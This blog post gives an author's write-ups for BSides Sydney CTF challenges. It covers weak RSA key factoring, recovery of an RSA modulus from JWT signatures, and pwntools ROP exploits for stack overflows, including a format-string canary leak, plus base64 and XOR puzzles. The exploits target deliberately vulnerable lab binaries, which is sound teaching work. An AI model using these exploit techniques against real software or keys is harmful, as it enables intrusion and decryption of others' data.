This weekend in Sydney was the annual BSides Sydney conference. This year I contributed some challenges to the CTF competition so I’ll take the opportunity to post the writeups for the challenges I wrote for those who were playing to CTF.

These are my solutions for the challenges

- crypto - lilbro
- crypto - jankywhentainted
- crypto - twins
- pwn - play2win
- pwn - yell2win
- pwn - mine2win
- misc - rottingbase
- misc - basemirror
- rev - strongs

#### lilbro - crypto

This challenge had the following clue:

```
I have this public key and the script that encrypted a file. I need the
plaintext. Can you help?
```

The `chall.py`

had the following python code:

```
from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long
# Get random seed.
seed = getPrime(64)
def make_strong_primes_for_rsa_crypto():
p = getPrime(1024)
q = getPrime(1024)
while True:
q = getPrime(512)
if q != p:
break
while True:
p = getPrime(1024) \
&seed
if isPrime(p):
break
return p, q
p,q = make_strong_primes_for_rsa_crypto()
e = 65537
print(f"n={p*q}\ne=65537\nc={pow(bytes_to_long(open('flag.txt','rb').read()),e,p*q)}")
```

And the output provided in the `out.txt`

file gave us the parameters that the flag was encrypted with as well as the public key we’re working with:

```
n=86279639327422378288496626996343617208829595339342673697330831163010298015454602633381442143057564417272249252484451301232722178131524602684402316563752313423202683974372941
e=65537
c=15317857683515702399056510522368016409788247458702291660019445568458865592205605193474202577989861940708557636909673633187426310731087169805193759504586961144703945334031137
```

The challenge relied on spotting that while the `make_strong_primes_for_rsa_crypto()`

initially creates 2x 1024bit primes for `p`

and `q`

, they are later overwritten with smaller primes. In the following lines we see `q`

reassigned to a 512 bit prime:

```
q = getPrime(512)
```

and here `p `

is assigned to the bitwise `and`

result of some 1024 bit prime and `seed`

which we see is a global value of a 64 bit prime number.

```
while True:
p = getPrime(1024) \
&seed
if isPrime(p):
break
```

If we bitwise and the 1024 bit number with a 64 bit number, the `max(p)`

is 64 bits. This can also be confirmed by looking at the bit length of `n`

.

```
>>> n=86279639327422378288496626996343617208829595339342673697330831163010298015454602633381442143057564417272249252484451301232722178131524602684402316563752313423202683974372941
>>> n.bit_length()
575
```

Since we know the (approximate) bit length of `q`

is 512 we can deduce `p`

to be roughly 63 bits which should be factorable using a sieve algorithm or ECM method. The simplest solution is to use Lenstra elliptic curve factorization. Notably in the Wikipedia article it says: `ECM is considered a special-purpose factoring algorithm, as it is most suitable for finding small factors`

To do so on Linux I used the `GMP-ECM`

implementation by installing it via `apt install gmp-ecm`

. I then invoked it with a large enough `B1`

value that resulted in a solve around 50% of the time:

```
$ echo 86279639327422378288496626996343617208829595339342673697330831163010298015454602633381442143057564417272249252484451301232722178131524602684402316563752313423202683974372941 | time ecm 1e8
GMP-ECM 7.0.5 [configured with GMP 6.3.0, --enable-asm-redc] [ECM]
Input number is 86279639327422378288496626996343617208829595339342673697330831163010298015454602633381442143057564417272249252484451301232722178131524602684402316563752313423202683974372941 (173 digits)
Using B1=100000000, B2=776268975310, polynomial Dickson(30), sigma=1:1604875180
Step 1 took 89587ms
Step 2 took 31184ms
********** Factor found in step 2: 9952955193828058177
Found prime factor of 19 digits: 9952955193828058177
Prime cofactor 8668745879708709382759980422010987806526085915465997043720910232927175581146643693917635905125648729676156958606580051718624575174537774091431611103000333 has 154 digits
Command exited with non-zero status 14
123.09user 0.29system 2:03.41elapsed 99%CPU (0avgtext+0avgdata 632064maxresident)k
48inputs+0outputs (3major+217345minor)pagefaults 0swaps
```

Here we see it found our `p`

value of `9952955193828058177`

. Now we have one of the primes we can solve for the flag:

```
from Crypto.Util.number import inverse,long_to_bytes
n=86279639327422378288496626996343617208829595339342673697330831163010298015454602633381442143057564417272249252484451301232722178131524602684402316563752313423202683974372941
e=65537
c=15317857683515702399056510522368016409788247458702291660019445568458865592205605193474202577989861940708557636909673633187426310731087169805193759504586961144703945334031137
p = 9952955193828058177
q = n//p
t = (p-1)*(q-1)
d = inverse(e, t)
m = pow(c,d,n)
print(long_to_bytes(m))
```

Which yields:

```
$ python solve.py
b'BSIDES{lil_pr1m3s_for_my_br0}'
```

#### jankywhentainted - crypto

This challenge had the following clue:

```
I found an encrypted file on webserver during a pentest with a client. I think
the crown jewels are inside. I've included my attack logs if that helps.
Can you help me decrypt it?
- enc.bin
- attacks.log
```

The files it shipped with were a binary encrypted file `enc.bin`

and a log file called `attacks.log`

which described HTTP response codes for an attack against an organizations web server.

Key to solving this challenge was finding that just 2 of the log lines had provided `Cookie`

values:

```
Line 421:
1696152194 http://www.bigclient.pentesttarget/index.html = 200 Response:
Content-type:text/html, Content-length:11200,
Location:http://www.bigclient.pentesttarget/index.html,
Cookie:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzZXNzaW9uIjogIlNlc3Npb25Db29raWU6QUFBQWlhMnV6OTEwPT0iLCAiaWF0IjogMTcwMDI1NzYwMCwgImV4cCI6IDE3MDA2MTc2MDB9.Cw50dHruAewXnjB6aV_J_Gn3x-_5dGE7VTE3XcHzLs-joNGi3efj0BxpjUlasZ64ZlhrvDrReZGxfMFZxArbmrx3lAQ7JGlxUfdqmwejKdy2V6Y8OH5fPJu4uXKPjybaal5NGeAORkOSQ-jbu9sjmLxtX7vqzYvPrDhlX3uRwE6r4BqNm0L8_qAcJN_yUfPgY2WtMxafm8AGcRTbE7M39vFifFGsVGR5LMH425Htzsz77lki492uVVu1YyRNftU-UFJsOlC9TxtRior5wgW0Z6ygFgTHQxacusb2iIORev9rhe-ph6abK5SvY8CVRgRZa3ZqXz1ZHxLOmtvz3oGgVA
Line 1124:
1696154344 http://www.bigclient.pentesttarget/index.html = 200 Response:
Content-type:text/html, Content-length:11204,
Location:http://www.bigclient.pentesttarget/index.html,
Cookie:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzZXNzaW9uIjogIlNlc3Npb25Db29raWU6QUFBQWlhMnV6OTEwPT0iLCAiaWF0IjogMTcwMDI1NzYwNSwgImV4cCI6IDE3MDA2MTc2MDV9.OZOSkJl_RDVaWaL5XxhpigOcvBViDg2fwe46JbZfkKnQmsHNaZAnJFJnc-Kabz3WLMqLK4DdMfXi-rY-_oV-hbZUlwtYHP1-R78F5OicXAH0cBxZ8wAxQcmm-ixsazmuEaA7Lm3ZWkgAC6kMk2Ffc40XyqlejWzMjcaOSGUt7C1I8HsEJ7AglUw38UcyaeJggug48iD8M--st8J3OdP7S0YcN-UxfWUqg26SmF76y6CWb5MP_KIWR_Q4nRrp1bbp90sLzzjCAvA-vdtUrBmD03j7wR5PNxLucFoR1ZDZzWxcfMSUNwmyID3_LE0XsyoHwKHlS_NUqKgPcRbHnLMtKw
```

The construction of these Cookies (as well as, perhaps the challenge title) should indicate that they are `JWT`

or Java Web Token type cookies. Knowing that one could use a site like JWT.io to decode the cookie and learn the algorithm it is signed with is `RS256`

.

Now this leads us down a bit of a rabbit hole. Let’s list what we know so far:

- We have 2 cookies that are both signed from the same site
- The cookies are signed using the RS256 algorithm which means the server has signed a SHA256 hash of the payload of the cookie with the server’s RSA private key
- Both cookies are from the same server so we can safely assume they were signed by the same RSA private key

This being the only information we have we should perhaps want to know more about the RSA key used here, if we can somehow learn the private key we might be able to do something with it. How can we learn ANYTHING about the RSA key knowing just a couple of signed messages?

This leads to this article which says: Knowing 2 (or more) RSA signatures and their respective plaintexts, we can (with some luck) recover the RSA modulus `n`

by finding the greatest common divisor (`gcd`

) of each `c - m`

where `c`

is the ciphertext and `m`

is the plaintext.

To do this attack successfully we need to know the value of `e`

in the server side public key. There is no way to leak this so we just make a guess at the most common values of `e`

which first and foremost is `65537`

.

Some code to do that is below:

```
from Crypto.Util.number import bytes_to_long
from gmpy2 import gcd
import hashlib
import base64
from pkcs1.emsa_pkcs1_v15 import encode # pip install pkcs1
# Helper function to decode magic from jwts.
def getmagic(jwt, e):
js = jwt.split('.')
rs = base64.urlsafe_b64decode(js[2] + "==")
signum = bytes_to_long(rs)
padnum = bytes_to_long(encode((js[0] + "." + js[1]).encode(), len(rs), hash_class=hashlib.sha256))
return pow(signum, e) - padnum
# Load cookies from attack.log
logs = [x.strip() for x in open('attack.log').readlines()]
cookie1 = logs[420].split('Cookie:')[1]
cookie2 = logs[1123].split('Cookie:')[1]
# We have to guess e so we choose the standard value of 65537.
e = 65537
# This takes a while due to exponentiation.
print(f"Getting magic for cookie: {cookie1}")
mc1 = getmagic(cookie1, e)
print(f"Getting magic for cookie: {cookie2}")
mc2 = getmagic(cookie2, e)
print(f"Calculating GCD of cookie magic...")
n = int(gcd(mc1,mc2))
print(f"Recovered modulus: {n=}")
```

When we execute this part of the attack we successfully recover the RSA modulus:

```
$ ./solve.py
Getting magic for cookie: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzZXNzaW9uIjogIlNlc3Npb25Db29raWU6QUFBQWlhMnV6OTEwPT0iLCAiaWF0IjogMTcwMDI1NzYwMCwgImV4cCI6IDE3MDA2MTc2MDB9.Cw50dHruAewXnjB6aV_J_Gn3x-_5dGE7VTE3XcHzLs-joNGi3efj0BxpjUlasZ64ZlhrvDrReZGxfMFZxArbmrx3lAQ7JGlxUfdqmwejKdy2V6Y8OH5fPJu4uXKPjybaal5NGeAORkOSQ-jbu9sjmLxtX7vqzYvPrDhlX3uRwE6r4BqNm0L8_qAcJN_yUfPgY2WtMxafm8AGcRTbE7M39vFifFGsVGR5LMH425Htzsz77lki492uVVu1YyRNftU-UFJsOlC9TxtRior5wgW0Z6ygFgTHQxacusb2iIORev9rhe-ph6abK5SvY8CVRgRZa3ZqXz1ZHxLOmtvz3oGgVA
Getting magic for cookie: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzZXNzaW9uIjogIlNlc3Npb25Db29raWU6QUFBQWlhMnV6OTEwPT0iLCAiaWF0IjogMTcwMDI1NzYwNSwgImV4cCI6IDE3MDA2MTc2MDV9.OZOSkJl_RDVaWaL5XxhpigOcvBViDg2fwe46JbZfkKnQmsHNaZAnJFJnc-Kabz3WLMqLK4DdMfXi-rY-_oV-hbZUlwtYHP1-R78F5OicXAH0cBxZ8wAxQcmm-ixsazmuEaA7Lm3ZWkgAC6kMk2Ffc40XyqlejWzMjcaOSGUt7C1I8HsEJ7AglUw38UcyaeJggug48iD8M--st8J3OdP7S0YcN-UxfWUqg26SmF76y6CWb5MP_KIWR_Q4nRrp1bbp90sLzzjCAvA-vdtUrBmD03j7wR5PNxLucFoR1ZDZzWxcfMSUNwmyID3_LE0XsyoHwKHlS_NUqKgPcRbHnLMtKw
Calculating GCD of cookie magic...
Recovered modulus: n=14569086041566068435482635576817593020016712342437567867562422036029503858095513101700657172956218882399728042216232411086026020494968531217278199521568892969518942156850954939811527681197017225362624994656554015120483097826020849565034888546946340936250086342026972936121013558826777159329985008264318371178377455217510200202738530440235038219732069430392865899901904983614750559003923338539790163318575187992071141147060220827661627341164998347569061519137514108038376365797465974609272467213032953824284376432233990878837559008902586824786792090841747518439714022499764852135173448112057921320652822644427383913981
```

Since we have an encrypted file, this RSA modulus doesn’t help us unless we can recover the prime numbers that are its factors. Fortunately it is rather easy to factor with some simple methods, in this case `p`

and `q`

are too close together so this number factors with the `fermat`

method. Some code below demonstrates that:

```
from Crypto.Util.number import bytes_to_long, inverse
from math import isqrt
# Guess the e from before.
e = 65537
def fermat(n):
s = isqrt(n) + 1
c = 0
t = s + c
a = isqrt((t * t) - n)
while((a * a) != ((t * t) - n)):
c += 1
t = s + c
a = isqrt((t * t) - n)
s = a
p = t + s
q = t - s
return p, q
n=14569086041566068435482635576817593020016712342437567867562422036029503858095513101700657172956218882399728042216232411086026020494968531217278199521568892969518942156850954939811527681197017225362624994656554015120483097826020849565034888546946340936250086342026972936121013558826777159329985008264318371178377455217510200202738530440235038219732069430392865899901904983614750559003923338539790163318575187992071141147060220827661627341164998347569061519137514108038376365797465974609272467213032953824284376432233990878837559008902586824786792090841747518439714022499764852135173448112057921320652822644427383913981
p, q = fermat(n)
t = (p-1) * (q-1)
d = inverse(e, t)
c = bytes_to_long(open('enc.bin','rb').read())
flag = long_to_bytes(pow(c, d, n)).decode()
print(f"{flag=}")
```

When we run this code we get the flag:

```
$ ./part2.py
flag='BSIDES{ch41n1ng_rsa_4tt4cks_1s_fun}'
```

#### twins - crypto

The final Crypto challenge I wrote for BSides Sydney was twins - the clue says:

```
2048 bit RSA is safe.
```

Two files come with the challenge:

`chal.py`

`output.txt`

The `chall.py`

file reads:

```
#!/usr/bin/python
from Crypto.Util.number import getPrime, inverse, bytes_to_long
from typing import List, Dict
e = 65537
def genKeys(p:int, q:int, e:int) -> List[Dict[int,int]]:
# Make pub/priv keys
n = p * q
t = (p - 1) * (q - 1)
d = inverse(e, t)
return {"n": n, "e": e},{"n": n, "d": d}
def enc(pt:str, pubKey:dict) -> int:
return(pow(bytes_to_long(pt.encode()),pubKey["e"],pubKey["n"]))
def dec(ct:int, privKey:dict) -> None:
# Not yet working. Cant understand why!
return None
def makeStrongPrimes() -> List[int]:
p = getPrime(1024)
q = 0
# Make sure we don't select the same prime twice!
while True:
q = getPrime(1024)
if p != q:
break
return p,p
if __name__ == "__main__":
p,q = makeStrongPrimes()
pubKey = genKeys(p,q,e)[0]
print(f"{pubKey=}")
print(f"c={enc(open('flag.txt').read(),pubKey)}")
```

In this challenge code we find one critical flaw, when the author created the `makeStrongPrimes()`

function they accidently returned the same primes twice.

```
return p,p
```

Later in the `main`

function these get used as if they were `p`

and `q`

and normal RSA is performed:

```
p,q = makeStrongPrimes()
pubKey = genKeys(p,q,e)[0]
print(f"{pubKey=}")
print(f"c={enc(open('flag.txt').read(),pubKey)}")
```

In the `output.txt`

we know `n`

and from studying the code we know `p`

should be equal to `isqrt(n)`

. There is one trick to solving this flawed implementation of RSA which is covered in this crypto stackexchange post:

```
#!/usr/bin/python
from Crypto.Util.number import inverse,long_to_bytes
from math import isqrt
pubKey={'n': 21588581750387333761051613119558391831834830491867176831764874163130027351606479219713551436748949338338063652313465513593294358703034997897632115524041576985914021032605401381423540276928201649685609689974983380231529493542320386671377949151452492573870290750813574102027677875714100805354613269878836299777297310947695345265908345081004226427650910062903485222890251684696048292468303893318308321168294118249338970290584277395715509160003009047098398901405359324131390887411972674151957940324116642177241542161990904518549474861182501207157873441478993822885686068334772036939364160421128453187319189685305368332641, 'e': 65537}
c=16916848426605427522256264652925857881192717201191835348102649687406537566681867213119005854231012214045204409868870234110346122143517370325400203164786366312981493056954321867689805407311254436683684788647250611504570271369691761979978686533268591147770237859210093796918662962123629030526154395839380757921390648561754981032058218176858993818051111095570808426977442343736582322323041041719821202728890181465107800462140340608874330791957484485205184337899566930831481412787498701686764147649597818002015517569680289300157777685623383103744615155567560346706827664316362763097981750456400662667723908932374097674103
p = isqrt(pubKey['n'])
e = pubKey['e']
# The only trick needed, discussed at https://crypto.stackexchange.com/questions/26861/why-should-the-primes-used-in-rsa-be-distinct
t = p*(p-1)
d = inverse(e,t)
m = pow(c,d,pubKey['n'])
print(long_to_bytes(m))
```

When we run this code we get the flag:

```
$ ./solve.py
b'flag{oh_w00ps_my_b4d_on_th4t_typ0}'
```

#### play2win - pwn

This is the first of an increasing difficulty set of binary exploitation challenges focused on returning to a function that already exists within the binary using a simple stack overflow. Each challenge has NX enabled so return oriented programming (ROP) is required to solve each one.

In this first challenge the clue reads:

```
A pwn challenge to flex your knowledge of basic binary exploitation.
```

The only file that comes along with the challenge is `chal`

. Looking at the binary which `checksec`

we see NX is enabled but PIE is disabled:

```
$ checksec ./chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

When we run the binary, we get a predictable crash:

```
$ ./chal
Welcome to the challenge:
Your task is to win! Are you ready?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```

Using Ghidra we can see the program is pretty simple. `main()`

is below. It just calls `ask()`

```
int main(void)
{
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
flag_file = FUN_004010c0("/home/ctf/flag.txt",&DAT_00402008);
ask();
return 0;
}
```

`ask()`

creates a 32 byte buffer but uses the glibc `gets`

function which creates a vulnerability since `gets`

does not perform any bounds checking.

```
void ask(void)
{
char local_28 [32];
puts("Welcome to the challenge:");
puts("Your task is to win! Are you ready?");
gets(local_28);
return;
}
```

If we look at the other functions in the binary, we see there’s a `win()`

function which just opens and prints the flag, so likely we should use ROP to call `win()`

when `ask()`

returns.

```
void win(void)
{
...
if (flag_file == (FILE *)0x0) {
puts(
"Good start, you have re-directed control flow locally. Now try it against the competition s erver"
);
}
else {
fread(&local_88,1,0x80,flag_file);
puts((char *)&local_88);
}
return;
}
```

Going back to GDB we can calculate the offset where our input became a return address on the stack:

```
$ gdb ./chal
...
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: chal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to the challenge:
Your task is to win! Are you ready?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
...
Stopped reason: SIGSEGV
0x0000000000401268 in ask ()
gdb-peda$ bt
#0 0x0000000000401268 in ask ()
#1 0x4141464141304141 in ?? ()
#2 0x4147414131414162 in ?? ()
#3 0x4841413241416341 in ?? ()
#4 0x4141334141644141 in ?? ()
#5 0x4134414165414149 in ?? ()
#6 0x3541416641414a41 in ?? ()
#7 0x41416741414b4141 in ?? ()
#8 0x00007f004c414136 in ?? ()
#9 0xb1bd6a9a11a12f71 in ?? ()
#10 0x0000000000000000 in ?? ()
gdb-peda$ pattern_offset 0x4141464141304141
4702116732032008513 found at offset: 40
```

Here we gathered that the first offset to place a rop gadget is 40. Now we have everything we need to call the `win()`

function. The solution is therefore somewhat simple using `pwntools`

:

```
from pwn import *
target = "./chal"
binary = context.binary = ELF(target)
rop = ROP(binary)
rop.raw(cyclic(40))
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(binary.sym['win']))
p = process(target)
p.sendlineafter(b'Are you ready?\n', rop.chain())
p.interactive()
```

Which works locally:

```
$ python local.py
[*] Loaded 5 cached gadgets for './chal'
[+] Starting local process './chal': pid 22457
[*] Switching to interactive mode
Good start, you have re-directed control flow locally. Now try it against the competition server
```

Modifying the code to work remotely means changing the `p = process(target)`

line to `p = remote(host, port)`

but works in the same way.

#### yell2win - pwn

This challenge works similar to `play2win`

but if we look at the `win()`

function this time we can notice it performs some additional checks before printing the flag.

```
void win(int param_1)
{
if (param_1 != 0xc0ffee) {
printf("At least buy me coffee first?");
FUN_00401100(0);
}
if (flag_file == (FILE *)0x0) {
puts(
"Good start, you have re-directed control flow locally. Now try it against the competition s erver"
);
}
else {
fread(&local_88,1,0x80,flag_file);
puts((char *)&local_88);
}
return;
}
```

So in this case, most of the other functions are the same but `win()`

takes an argument and checks it before returning.

Looking at the `checksec`

results we see the architecture of this binary is again `amd64`

:

```
$ checksec ./chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

In this architecture the first argument to a function is passed as a pointer in the `rdi`

register. In order to get the argument we need `0xc0ffee`

into `rdi`

we need a ROP gadget that pop’s it off the stack and returns so we can chain to our next gadget, the ret2win gadget.

Using `ropper`

we can see if that gadget exists in the binary:

```
$ ropper --nocolor -f chal | grep "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000004012af: mov ebp, esp; pop rdi; ret;
0x00000000004012ae: mov rbp, rsp; pop rdi; ret;
0x00000000004012b1: pop rdi; ret;
...
```

Yeah its there, we could take this static address (since the binary does not use PIE) however it’s easier just to let `pwntools`

do that. Here’s the solution:

```
from pwn import *
target = "./chal"
binary = context.binary = ELF(target)
rop = ROP(binary)
rop.raw(cyclic(72))
rop.raw(p64(rop.find_gadget(['ret'])[0]))
rop.raw(p64(rop.find_gadget(['pop rdi','ret'])[0]))
rop.raw(p64(0xc0ffee))
rop.raw(p64(binary.sym['win']))
p = process(target)
p.sendlineafter(b'Are you ready?\n', rop.chain())
p.interactive()
```

#### mine2win - pwn

Again this challenge is an extension of the past 2 challenges so far. This time we look again at `checksec`

and note 1 new difference:

```
$ checksec ./chal
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

Stack canaries are enabled in this binary this time! The other new thing is that the `ask()`

function is different:

```
void ask(void)
{
int iVar1;
long in_FS_OFFSET;
char local_98 [64];
char local_58 [72];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Before we go on, let me get to know you, what is your name?:");
__isoc99_scanf(&DAT_0040205d,local_98);
printf("your name is: ");
printf(local_98);
puts("?");
do {
iVar1 = getchar();
if (iVar1 == 10) break;
} while (iVar1 != -1);
puts("Welcome to the next challenge:");
puts("Your task is to win! Are you ready?");
gets(local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

There’s 2 different vulnerabilities here. The first being a format string vulnerability when asked for your name since it gets directly used in a `printf()`

call. The second vulnerability is the same as before.

So the plan of attack here should be to use the format string vulnerability to leak the stack canary and then use rop to return to the `win()`

function.

There’s just 1 more difference in this binary though, a second argument is needed for `win()`

to succeed:

```
void win(int param_1,uint param_2)
{
...
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 != 0xc0ffee) {
printf("At least buy me coffee first?");
FUN_00401160(0);
}
if (param_2 != 0xbeeff00d) {
printf("Steak dinner would be nice as well?");
FUN_00401160(0);
}
...
local_20 = 0;
if (flag_file == (FILE *)0x0) {
puts(
"Good start, you have re-directed control flow locally. Now try it against the competition s erver"
);
}
else {
fread(&local_98,1,0x80,flag_file);
puts((char *)&local_98);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

This time `win()`

takes and validates 2 arguments. As in `yell2win`

we saw`amd64`

used `rdi`

for the first argument. In `amd64`

the`rsi`

register points to the second argument so we need a `pop rsi; ret`

gadget as well.

Next we need to find where on the stack our canary can be found. To do so I just use a little script that looks at each pointer on the stack 1 by 1 until i get something that looks like a canary. Canaries always end with null bytes `0x00`

so anything ending with null bytes is a good guess to start with.

Here’s what that script looks like:

```
from pwn import *
fname = "./chal"
for i in range(30):
p = process(fname)
payload = f"%{i}$016lx".encode()
p.sendlineafter(b'?:\n', payload)
res = p.recvline().strip()
print(f'{i}:{res}')
p.close()
```

When we run it (remember to use `PWNLIB_SILENT=1`

to silence all the `pwntools`

info spam) we get these results:

```
$ PWNLIB_SILENT=1 ./solve.py
0:b'your name is: %0$016lx?'
1:b'your name is: 00007fff948a8350?'
2:b'your name is: 0000000000000000?'
3:b'your name is: 0000000000000000?'
...
23:b'your name is: 00007ffe39c42000?'
24:b'your name is: 0000000000000000?'
25:b'your name is: e9c4b9c3d28ffc00?'
...
```

The 25th item on the stack appears to be the canary in our case. Its random and ends with `0x00`

. So let’s go with that and with that we have all the items we need to solve the challenge. Here’s the solution:

```
from pwntools import *
target = "./chal"
binary = context.binary = ELF(target)
# stage1 leak canary - 25th arg on stack
p = process(target)
p.sendlineafter(b'name?:\n', b'%25$16lx')
p.recvuntil(b'name is: ')
leak = int(p.recvuntil(b'?')[:-1],16)
# stage2 rop
rop = ROP(binary)
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi','ret'])[0]
ret = rop.find_gadget(['ret'])[0]
win = binary.sym['win']
rop.raw(p64(leak) * 10)
rop.raw(p64(ret))
rop.raw(p64(pop_rdi))
rop.raw(p64(0xc0ffee))
rop.raw(p64(pop_rsi))
rop.raw(p64(0xbeeff00d))
rop.raw(p64(win))
p.sendlineafter(b'?\n', rop.chain())
p.interactive()
```

#### rottingbase - misc

Over in a completely new category now, the first misc challenge has the following clue:

```
We found some strange code rotting under the base of the couch.
Can you decipher it?
DyAWERIGr3WiqTS0MJEsLzSmMGL0K2SfpTuuLzI0K25iqS9mo19bLKWxsD==
```

In this case the clue is supposed to indicate that this is Base64 (**base**) with a ROT13 (**rotting**) alphabet. The following Cyberchef recipe solves it:

```
https://gchq.github.io/CyberChef/#recipe=From_Base64('N-ZA-Mn-za-m0-9%2B/%3D',true,false)&input=RHlBV0VSSUdyM1dpcVRTME1KRXNMelNtTUdMMEsyU2ZwVHV1THpJMEsyNWlxUzltbzE5YkxLV3hzRD09
```

If you wish to solve the same thing in Python; the Chepy library supports this custom base64 alphabet operation where the alphabet is the standard alphabet with ROT13 applied:

```
from chepy import Chepy
ct = open("chal.enc").read()
alphabet = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/="
print(f"flag: {Chepy(ct).from_base64(custom=alphabet).o.decode()}")
```

#### basemirror - misc

Next up, a similar challenge, the clue this time is:

```
I saw the encoding process for this challenge in the mirror.
GbD9H4LJUsbkTcLoT6LaNs5iS6XXOcLqNsnbStDVOszjRMzkVG==
```

In this one, again we’re looking at the challenge title base and mirror. In this case it is standard base64 but with an inverted alphabet. This operation is supported in the `python-codext`

package. Highly recommend you get to know that package!

```
import codext
ct = open("chal.enc").read()
print(f"flag: {codext.decode(ct, 'base64-inv')}")
```

#### strongs - rev

The final challenge I authored for this CTF was this warmup reverse engineering challenge. Called `strongs`

its suppsoed to give you a clue that there are strings in the binary that might be “stronger” than plaintext. i.e. encoded in some way. A look throught Ghidra shows us how. In the `main()`

function decompilation we see:

```
void main(void) {
size_t sVar1;
long in_FS_OFFSET;
int i;
char user_input [136];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
puts("Hello, enter the flag to get the flag:");
__isoc99_scanf(" %100[^\n]",user_input);
sVar1 = strlen(user_input);
if ((ulong)(long)flaglen < sVar1) {
puts("Wrong code, sorry!");
/* WARNING: Subroutine does not return */
exit(0);
}
i = 0;
while( true ) {
sVar1 = strlen(key);
if (sVar1 <= (ulong)(long)i) break;
if ((uint)(byte)(ct[i] ^ key[i]) != (int)user_input[i]) {
puts("Wrong code, sorry!");
/* WARNING: Subroutine does not return */
exit(0);
}
i = i + 1;
}
printf("%s is the flag\n",user_input);
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```

Specifically, note the `while()`

loop that is performing a XOR operation between `ct`

and `key`

.

In Ghidra, we can double click these to see how they’re stored in the binary, double clicking `ct`

and then selecting all of the bytes until the first null (0x00) byte and then right clicking on the data and clicking `Copy Special`

gives us the option to `Copy Python bytes`

.

When we do that it gives us these bytes.

```
b'\x4c\xa0\x8b\xa7\x4d\xe9\x61\x03\x24\x19\x8a\x77\xaf\xf7\x75\xdc\xf7\xf2\x5d\x0e\xc8\xf9\x8f\xf8\xc4\x2f\x1c\xd6\x4b\xdd\xd9\xf3\xb6'
```

Doing the same for `key`

gives us:

```
b'\x0e\xf3\xc2\xe3\x08\xba\x1a\x70\x15\x74\xfa\x1b\x9c\xa8\x13\xb0\xc3\x95\x02\x68\xf8\x8b\xd0\x8b\xf5\x42\x6c\xba\x78\x82\x8b\xc0\xcb'
```

If we do this operation ourselves in something like Cyberchef, we get the solution. The following Cyberchef recipe works:

```
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'0ef3c2e308ba1a701574fa1b9ca813b0c3950268f88bd08bf5426cba78828bc0cb'%7D,'Standard',false)&input=XHg0Y1x4YTBceDhiXHhhN1x4NGRceGU5XHg2MVx4MDNceDI0XHgxOVx4OGFceDc3XHhhZlx4ZjdceDc1XHhkY1x4ZjdceGYyXHg1ZFx4MGVceGM4XHhmOVx4OGZceGY4XHhjNFx4MmZceDFjXHhkNlx4NGJceGRkXHhkOVx4ZjNceGI2
```

#### Conclusion

Writing CTF challenges that are designed for a short-duration CTF (6hrs) is tricky. You want to balance time investment versus the projected audience as well as the solvability. At the same time they can’t be instant solves or noone will get satisfaction from solving them. I hope these were on point for that.

Thanks to all the other folks who wrote challenges for the CTF and to the players who played the CTF. Special thanks to folks who solved my challenges. I hope they were fun!